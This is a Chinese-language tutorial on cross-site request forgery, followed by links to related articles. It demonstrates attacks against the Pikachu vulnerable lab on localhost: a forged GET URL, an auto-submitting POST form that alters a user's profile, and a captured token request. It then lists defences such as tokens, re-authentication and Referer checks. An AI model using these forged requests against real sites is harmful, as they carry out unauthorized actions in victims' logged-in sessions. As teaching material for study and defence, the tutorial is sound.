CSRF攻击原理以及防御

简介: CSRF攻击原理以及防御

CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

CSRF攻击攻击原理及过程如下:

1. 用户打开浏览器,访问受信任银行网站,输入用户名和密码请求登录网站; 
2.在用户信息通过验证后,银行网站产生Cookie信息并返回给浏览器,此时用户登录网站成功,可以正常发送请求到网站;
3. 用户未退出银行网站之前,在同一浏览器中,打开一个TAB页访问其他网站B
 4. 这时候网站B 已被黑客注入诱导信息,加入是一张图片,图片地址指向     src=”http:0//bank.example/withdraw?account=bob&amount=1000000&for=黑客     点击之后转账给黑客这个账户  
 5. 浏览器在接收到这些攻击性代码请求后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,根据用户的Cookie信息以C的权限处理该请求,导致来自黑客请求恶意代码被执行。

pikachu演示漏洞

CSRF (get)

640.png

伪造url

http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=123&add=bbbb&email=lucy%40pikachu.com&submit=submit

640.png

可以看到  数据以及发生变化 并更改了数据库。

CSRF (post)

    <html>
    <head>
    <script>
    window.onload = function() {
      document.getElementById("postsubmit").click();
    }
    </script>
    </head>
    <body>
    <form method="post" action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
        <input id="sex" type="text" name="sex" value="girl" />
        <input id="phonenum" type="text" name="phonenum" value="bbbb" />
        <input id="add" type="text" name="add" value="hacker" />
        <input id="email" type="text" name="email" value="123@com" />
        <input id="postsubmit" type="submit" name="submit" value="submit" />
    </form>
    </body>
    </html>

    访问url 页面数据更改

    http://127.0.0.1/pikachu/vul/csrf/post.html

    原理:CSRF的主要问题是敏感操作的链接容易被伪造。而只要在每次请求时都增加一个随机码Token,后台每次都对这个随机码进行验证,则可以有效地防止CSRF

    640.png

    CSRF (token)

    截取数据包  多了token

      GET /pikachu/vul/csrf/csrftoken/token_get_edit.php?sex=girl&phonenum=bbbb&add=hacker&email=123%40com&token=377085fb9e53dd6ce6598950647&submit=submit HTTP/1.1
      Host: 127.0.0.1
      User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
      Accept-Language: zh-CN,en;q=0.8,zh;q=0.5,en-US;q=0.3
      Accept-Encoding: gzip, deflate
      Referer: http://127.0.0.1/pikachu/vul/csrf/csrftoken/token_get_edit.php
      Cookie: PHPSESSID=j4uc6evkf01eo69uihtov6brb0
      DNT: 1
      Connection: close
      Upgrade-Insecure-Requests: 1
        <div id="per_info">
           <form method="get">
           <h1 class="per_title">hello,{$name},欢迎来到个人会员中心 | <a style="color:bule;" href="token_get.php?logout=1">退出登录</a></h1>
           <p class="per_name">姓名:{$name}</p>
           <p class="per_sex">性别:<input type="text" name="sex" value="{$sex}"/></p>
           <p class="per_phone">手机:<input class="phonenum" type="text" name="phonenum" value="{$phonenum}"/></p>    
           <p class="per_add">住址:<input class="add" type="text" name="add" value="{$add}"/></p> 
           <p class="per_email">邮箱:<input class="email" type="text" name="email" value="{$email}"/></p>
           <input type="hidden" name="token" value="{$_SESSION['token']}" />
           <input class="sub" type="submit" name="submit" value="submit"/>
           </form>
        </div>

        在源码token_get_edit.php中看到,每次刷新页面,都会调用set_token()函数,该函数会把SESSION中Token销毁,然后生成一个新的Token,并将这个Token传到前端表单中

        如何防御CSRF攻击

          增加验证码:一般用于防止暴力破解,也可以用在其它重要信息操作的表单中
          安全的会话管理:
          不要在客户端保存敏感信息,如身份认证信息
          设置会话过期机制,如15分钟内无操作则自动登录超时
          访问控制安全管理:
          敏感信息修改时需要对身份进行二次认证,如修改密码时,需要校验旧密码
          敏感信息的修改使用POST,而不是GET
          通过HTTP头部中的Referer来限制原页面
          
          相关文章
          |
          12月前
          |
          安全 前端开发 JavaScript
          什么是 CSRF 攻击?如何启用 CSRF 保护来抵御该攻击?
          什么是 CSRF 攻击?如何启用 CSRF 保护来抵御该攻击?
          1731 5
          |
          存储 Web App开发 安全
          如何防范 CSRF 攻击
          CSRF(跨站请求伪造)攻击是一种常见的安全威胁。防范措施包括:使用Anti-CSRF Token、检查HTTP Referer、限制Cookie作用域、采用双重提交Cookie机制等,确保请求的合法性与安全性。
          |
          网络安全 数据安全/隐私保护
          什么是 CSRF 攻击
          CSRF(跨站请求伪造)攻击是指攻击者诱导用户点击恶意链接或提交表单,利用用户已登录的身份在目标网站上执行非授权操作,如转账、修改密码等。这种攻击通常通过嵌入恶意代码或链接实现。
          |
          安全 Go PHP
          Web安全进阶:XSS与CSRF攻击防御策略深度解析
          【10月更文挑战第27天】本文深入解析了Web安全中的XSS和CSRF攻击防御策略。针对XSS,介绍了输入验证与净化、内容安全策略(CSP)和HTTP头部安全配置;针对CSRF,提出了使用CSRF令牌、验证HTTP请求头、限制同源策略和双重提交Cookie等方法,帮助开发者有效保护网站和用户数据安全。
          448 2
          |
          SQL 存储 安全
          什么是XSS攻击?什么是SQL注入攻击?什么是CSRF攻击?
          理解并防范XSS、SQL注入和CSRF攻击是Web应用安全的基础。通过采用严格的输入验证、使用安全编码实践以及实现适当的身份验证和授权机制,可以有效防止这些常见的Web攻击,保障应用程序和用户的数据安全。
          663 0
          |
          JavaScript 安全 前端开发
          js开发:请解释什么是XSS攻击和CSRF攻击,并说明如何防范这些攻击。
          XSS和CSRF是两种常见的Web安全威胁。XSS攻击通过注入恶意脚本盗取用户信息或控制账户,防范措施包括输入验证、内容编码、HTTPOnly Cookie和CSP。CSRF攻击则诱使用户执行未经授权操作,防范手段有CSRF Tokens、双重验证、Referer检查和SameSite Cookie属性。开发者应采取这些防御措施并定期进行安全审计以增强应用安全性。
          313 0
          |
          安全 NoSQL Java
          互联网并发与安全系列教程(06) - 常见的Web安全漏洞(CSRF攻击)
          互联网并发与安全系列教程(06) - 常见的Web安全漏洞(CSRF攻击)
          240 0
          |
          SQL 安全 前端开发
          渗透攻击实例-邪恶的CSRF(社会工程学)
          渗透攻击实例-邪恶的CSRF(社会工程学)
          |
          缓存 安全 JavaScript
          前端安全:Vue应用中防范XSS和CSRF攻击
          【4月更文挑战第23天】本文探讨了在Vue应用中防范XSS和CSRF攻击的重要性。XSS攻击通过注入恶意脚本威胁用户数据,而CSRF则利用用户身份发起非授权请求。防范措施包括:对输入内容转义、使用CSP、选择安全的库;采用Anti-CSRF令牌、同源策略和POST请求对抗CSRF;并实施代码审查、更新依赖及教育团队成员。通过这些实践,可提升Vue应用的安全性,抵御潜在攻击。
          1432 0
          |
          安全 前端开发 Java
          Web安全进阶:XSS与CSRF攻击防御策略深度解析
          【10月更文挑战第26天】Web安全是现代软件开发的重要领域,本文深入探讨了XSS和CSRF两种常见攻击的原理及防御策略。针对XSS,介绍了输入验证与转义、使用CSP、WAF、HTTP-only Cookie和代码审查等方法。对于CSRF,提出了启用CSRF保护、设置CSRF Token、使用HTTPS、二次验证和用户教育等措施。通过这些策略,开发者可以构建更安全的Web应用。
          635 4